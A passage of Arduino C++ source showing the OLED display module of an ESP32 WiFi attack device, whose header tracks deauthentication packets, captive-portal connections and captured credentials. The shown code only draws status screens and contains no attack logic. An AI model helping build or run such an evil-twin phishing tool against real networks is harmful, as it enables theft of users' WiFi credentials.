drawFooter();
}
void OLEDDisplay::drawErrorScreen() {
drawHeader("ERROR");
// Error icon
display->drawBitmap(SCREEN_WIDTH/2 - 4, 16, icon_error, 8, 8, SSD1306_WHITE);
display->setTextSize(1);
drawWrappedText(attack_info.last_error, 0, 32, SCREEN_WIDTH);
drawFooter();
}
void OLEDDisplay::drawHeader(const char* title) {
display->setTextSize(1);
display->setCursor(0, 0);
display->println(title);
display->drawLine(0, 8, SCREEN_WIDTH, 8, SSD1306_WHITE);
}
void OLEDDisplay::drawFooter() {
display->drawLine(0, SCREEN_HEIGHT - 10, SCREEN_WIDTH, SCREEN_HEIGHT - 10, SSD1306_WHITE);
display->setTextSize(1);
display->setCursor(0, SCREEN_HEIGHT - 8);
// Page indicator
display->printf("%d/%d", current_page + 1, PAGE_COUNT);
// Time or other info
String uptime = formatUptime(system_status.uptime);
int text_width = uptime.length() * 6;
display->setCursor(SCREEN_WIDTH - text_width, SCREEN_HEIGHT - 8);
display->print(uptime);
}
void OLEDDisplay::drawProgressBar(int x, int y, int width, int height, float progress) {
// Border
display->drawRect(x, y, width, height, SSD1306_WHITE);
// Fill
int fill_width = (int)(progress * (width - 2));
if (fill_width > 0) {
display->fillRect(x + 1, y + 1, fill_width, height - 2, SSD1306_WHITE);
}
}
void OLEDDisplay::drawSignalBars(int x, int y, uint8_t signal_strength) {
int bars = map(signal_strength, 0, 100, 0, 4);
for (int i = 0; i < 4; i++) {
int bar_height = (i + 1) * 2;
if (i < bars) {
display->fillRect(x + i * 3, y + 8 - bar_height, 2, bar_height, SSD1306_WHITE);
} else {
display->drawRect(x + i * 3, y + 8 - bar_height, 2, bar_height, SSD1306_WHITE);
}
}
}
void OLEDDisplay::drawBattery(int x, int y, uint8_t level) {
// Battery outline
display->drawRect(x, y, 12, 6, SSD1306_WHITE);
display->drawRect(x + 12, y + 1, 2, 4, SSD1306_WHITE);
// Battery fill
int fill_width = map(level, 0, 100, 0, 10);
if (fill_width > 0) {
display->fillRect(x + 1, y + 1, fill_width, 4, SSD1306_WHITE);
}
}
void OLEDDisplay::drawWiFiIcon(int x, int y, bool connected) {
if (connected) {
display->drawBitmap(x, y, icon_wifi_connected, 8, 8, SSD1306_WHITE);
} else {
display->drawBitmap(x, y, icon_wifi_disconnected, 8, 8, SSD1306_WHITE);
}
}
void OLEDDisplay::drawStatusIcon(int x, int y, bool status, const char* icon) {
display->setTextSize(1);
display->setCursor(x, y);
if (status) {
display->setTextColor(SSD1306_WHITE);
} else {
// Draw inverted for offline status
display->fillRect(x, y, 8, 8, SSD1306_WHITE);
display->setTextColor(SSD1306_BLACK);
}
display->print(icon);
display->setTextColor(SSD1306_WHITE); // Reset color
}
void OLEDDisplay::drawScrollingText(int x, int y, const String& text, int max_width) {
int text_width = text.length() * 6;
if (text_width <= max_width) {
display->setCursor(x, y);
display->print(text);
} else {
// Implement scrolling logic
static int scroll_offset = 0;
static uint32_t last_scroll = 0;
if (millis() - last_scroll > 200) {
scroll_offset = (scroll_offset + 1) % (text_width + max_width);
last_scroll = millis();
}
display->setCursor(x - scroll_offset, y);
display->print(text);
}
}
void OLEDDisplay::updateAnimations() {
animation_frame = (animation_frame + 1) % 8;
blink_state = !blink_state;
}
void OLEDDisplay::drawLoadingAnimation(int x, int y) {
const char* frames[] = {"|", "/", "-", "\\", "|", "/", "-", "\\"};
display->setCursor(x, y);
display->print(frames[animation_frame]);
}
void OLEDDisplay::drawPulseAnimation(int x, int y, int radius) {
int pulse_radius = radius + (animation_frame % 4);
display->drawCircle(x, y, pulse_radius, SSD1306_WHITE);
}
String OLEDDisplay::formatUptime(uint32_t seconds) {
uint32_t days = seconds / 86400;
uint32_t hours = (seconds % 86400) / 3600;
uint32_t minutes = (seconds % 3600) / 60;
if (days > 0) {
return String(days) + "d " + String(hours) + "h";
} else if (hours > 0) {
return String(hours) + "h " + String(minutes) + "m";
} else {
return String(minutes) + "m " + String(seconds % 60) + "s";
}
}
String OLEDDisplay::formatMemory(uint32_t bytes) {
if (bytes >= 1024 * 1024) {
return String(bytes / (1024 * 1024)) + "MB";
} else if (bytes >= 1024) {
return String(bytes / 1024) + "KB";
} else {
return String(bytes) + "B";
}
}
String OLEDDisplay::formatDuration(uint32_t seconds) {
if (seconds >= 3600) {
return String(seconds / 3600) + "h " + String((seconds % 3600) / 60) + "m";
} else if (seconds >= 60) {
return String(seconds / 60) + "m " + String(seconds % 60) + "s";
} else {
return String(seconds) + "s";
}
}
String OLEDDisplay::truncateString(const String& str, int max_chars) {
if (str.length() <= max_chars) {
return str;
} else {
return str.substring(0, max_chars - 3) + "...";
}
}
void OLEDDisplay::drawCenteredText(const String& text, int y) {
int text_width = text.length() * 6; // Approximate width for size 1
int x = (SCREEN_WIDTH - text_width) / 2;
display->setCursor(x, y);
display->print(text);
}
void OLEDDisplay::drawRightAlignedText(const String& text, int x, int y) {
int text_width = text.length() * 6;
display->setCursor(x - text_width, y);
display->print(text);
}
void OLEDDisplay::drawWrappedText(const String& text, int x, int y, int max_width) {
int chars_per_line = max_width / 6; // Approximate characters per line
int current_y = y;
for (int i = 0; i < text.length(); i += chars_per_line) {
String line = text.substring(i, min((int)text.length(), i + chars_per_line));
display->setCursor(x, current_y);
display->println(line);
current_y += 8;
if (current_y >= SCREEN_HEIGHT - 8) break; // Don't overflow screen
}
}
void OLEDDisplay::printStatus() {
OLED_LOG_F("Current page: %d", current_page);
OLED_LOG_F("Auto rotate: %s", auto_rotate ? "enabled" : "disabled");
OLED_LOG_F("Display enabled: %s", display_enabled ? "yes" : "no");
OLED_LOG_F("Brightness: %d", brightness);
OLED_LOG_F("Attack status: %d", attack_info.status);
OLED_LOG_F("Credentials captured: %d", attack_info.credentials_captured);
}
void OLEDDisplay::testDisplay() {
OLED_LOG("Testing display...");
for (int page = 0; page < PAGE_COUNT; page++) {
setPage((DisplayPage)page);
update();
delay(2000);
}
OLED_LOG("Display test completed");
}

View File

@@ -0,0 +1,193 @@
#ifndef OLED_DISPLAY_H
#define OLED_DISPLAY_H
#include <Arduino.h>
#include <Wire.h>
#include <Adafruit_GFX.h>
#include <Adafruit_SSD1306.h>
#include <WiFi.h>
// Display configuration
#define SCREEN_WIDTH 128
#define SCREEN_HEIGHT 64
#define OLED_RESET -1
#define SCREEN_ADDRESS 0x3C
// Display pages
enum DisplayPage {
PAGE_BOOT = 0,
PAGE_MAIN_STATUS,
PAGE_ATTACK_STATUS,
PAGE_CREDENTIAL_COUNT,
PAGE_NETWORK_INFO,
PAGE_SYSTEM_INFO,
PAGE_ERROR,
PAGE_COUNT
};
// Attack status types
enum AttackStatus {
ATTACK_IDLE = 0,
ATTACK_SCANNING,
ATTACK_DEAUTH_ACTIVE,
ATTACK_PORTAL_ACTIVE,
ATTACK_SUCCESS,
ATTACK_FAILED
};
// System status
struct SystemStatus {
bool esp32_online;
bool bw16_online;
bool ai_online;
bool wifi_connected;
uint8_t wifi_signal;
uint32_t uptime;
uint32_t free_memory;
float cpu_usage;
uint8_t temperature;
};
// Attack information
struct AttackInfo {
AttackStatus status;
String target_ssid;
String target_bssid;
uint8_t target_channel;
uint32_t deauth_packets_sent;
uint32_t portal_connections;
uint32_t credentials_captured;
uint32_t attack_duration;
float success_rate;
String last_error;
};
// Network information
struct NetworkInfo {
String ap_ssid;
String ap_password;
IPAddress ap_ip;
uint8_t connected_clients;
String sta_ssid;
IPAddress sta_ip;
uint8_t nearby_networks;
};
class OLEDDisplay {
private:
Adafruit_SSD1306* display;
DisplayPage current_page;
uint32_t last_update;
uint32_t page_switch_time;
bool auto_rotate;
uint8_t brightness;
bool display_enabled;
// Status data
SystemStatus system_status;
AttackInfo attack_info;
NetworkInfo network_info;
// Animation variables
uint8_t animation_frame;
uint32_t last_animation;
bool blink_state;
// Display methods
void drawBootScreen();
void drawMainStatus();
void drawAttackStatus();
void drawCredentialCount();
void drawNetworkInfo();
void drawSystemInfo();
void drawErrorScreen();
// Helper methods
void drawHeader(const char* title);
void drawFooter();
void drawProgressBar(int x, int y, int width, int height, float progress);
void drawSignalBars(int x, int y, uint8_t signal_strength);
void drawBattery(int x, int y, uint8_t level);
void drawWiFiIcon(int x, int y, bool connected);
void drawStatusIcon(int x, int y, bool status, const char* icon);
void drawScrollingText(int x, int y, const String& text, int max_width);
// Animation methods
void updateAnimations();
void drawLoadingAnimation(int x, int y);
void drawPulseAnimation(int x, int y, int radius);
// Text formatting
String formatUptime(uint32_t seconds);
String formatMemory(uint32_t bytes);
String formatDuration(uint32_t seconds);
String truncateString(const String& str, int max_chars);
public:
OLEDDisplay();
~OLEDDisplay();
// Initialization
bool begin(uint8_t i2c_address = SCREEN_ADDRESS);
void setBrightness(uint8_t brightness);
void setAutoRotate(bool enable);
void enable(bool enabled);
// Page management
void setPage(DisplayPage page);
void nextPage();
void previousPage();
DisplayPage getCurrentPage() const { return current_page; }
// Status updates
void updateSystemStatus(const SystemStatus& status);
void updateAttackInfo(const AttackInfo& info);
void updateNetworkInfo(const NetworkInfo& info);
// Quick status updates
void setAttackStatus(AttackStatus status, const String& target = "");
void setCredentialCount(uint32_t count);
void setError(const String& error);
void clearError();
// Display control
void update();
void clear();
void showMessage(const String& message, uint32_t duration_ms = 2000);
void showProgress(const String& message, float progress);
// Utility methods
void drawCenteredText(const String& text, int y);
void drawRightAlignedText(const String& text, int x, int y);
void drawWrappedText(const String& text, int x, int y, int max_width);
// Debug methods
void printStatus();
void testDisplay();
};
// Global instance
extern OLEDDisplay oledDisplay;
// Convenience macros
#define OLED_LOG(msg) Serial.println("[OLED] " + String(msg))
#define OLED_LOG_F(fmt, ...) Serial.printf("[OLED] " fmt "\n", ##__VA_ARGS__)
// Display update intervals (ms)
#define DISPLAY_UPDATE_INTERVAL 100
#define PAGE_AUTO_SWITCH_INTERVAL 5000
#define ANIMATION_UPDATE_INTERVAL 200
// Icons (8x8 bitmaps)
extern const unsigned char PROGMEM icon_wifi_connected[];
extern const unsigned char PROGMEM icon_wifi_disconnected[];
extern const unsigned char PROGMEM icon_bluetooth[];
extern const unsigned char PROGMEM icon_lora[];
extern const unsigned char PROGMEM icon_zigbee[];
extern const unsigned char PROGMEM icon_attack[];
extern const unsigned char PROGMEM icon_shield[];
extern const unsigned char PROGMEM icon_warning[];
extern const unsigned char PROGMEM icon_success[];
extern const unsigned char PROGMEM icon_error[];
#endif // OLED_DISPLAY_H